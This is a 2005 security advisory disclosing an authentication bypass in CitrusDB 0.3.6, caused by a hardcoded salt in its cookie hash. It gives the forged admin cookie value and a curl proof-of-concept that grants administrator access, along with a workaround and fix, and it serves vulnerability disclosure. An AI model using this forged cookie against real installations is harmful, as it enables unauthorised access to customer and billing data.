Advisory: Authentication bypass in CitrusDB 

RedTeam found an authentication bypass vulnerability in CitrusDB which can
result in complete corruption of the installed CitrusDB application.

### Details

- Product: CitrusDB
- Affected Version: 0.3.6 (verified), probably \<=0.3.6
- Immune Version: none (2005-01-30)
- OS affected: all
- Security-Risk: very high
- Remote-Exploit: yes
- Vendor-URL: `http://www.citrusdb.org/`
- Vendor-Status: informed
- Advisory-URL: `https://www.redteam-pentesting.de/advisories/rt-sa-2005-002`
- Advisory-Status: public
- CVE: CAN-2005-0408
- (`https://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0408#`)

### Introduction

Description from vendor:
"CitrusDB is an open source customer database application that uses PHP and a
database backend (currently MySQL) to keep track of customer information,
services, products, billing, and customer service information."

CitrusDB uses the same personal cookie for every user at each time for
identification.

### More Details

CitrusDB uses a cookie user_name to determine the name of the user and a
cookie id_hash to check if the user_name is valid. The id_hash is a md5
checksum of the username with the string "boogaadeeboo" appended.
Example:
user_name: admin
id_hash: md5sum("adminboogaadeeboo") = 4b3b2c8666298ae9771e9b3d38c3f26e
An attacker only needs to guess a correct username, "admin" normally will
work since it is the default administrator name in CitrusDB.

### Proof of Concept

curl -D - --cookie "id_hash=4b3b2c8666298ae9771e9b3d38c3f26e;
user_name=admin" `http://`\<targethost\>/citrusdb/tools/index.php

### Workaround

Change \$hidden_hash_var in /citrusdb/include/user.inc.php to a value
different than "boogaadeeboo". This way the an attacker needs to acquire a
correct cookie to get access.

### Fix

citusdb should determine a value for \$hidden_hash_var at install time
ensuring that this value is different.

### Security Risk

The security risk is very high because an attacker may gain full control of
CitrusDB.

### History

- 2005-02-04 Email sent to author
- 2005-02-12 CVE number requested
- 2005-02-14 posted as CAN-2005-0408
- 2009-05-08 Updated Advisory URL

### RedTeam

RedTeam is penetration testing group working at the Laboratory for Dependable
Distributed Systems at RWTH-Aachen University. You can find more information
on the RedTeam Project at `https://www.redteam-pentesting.de`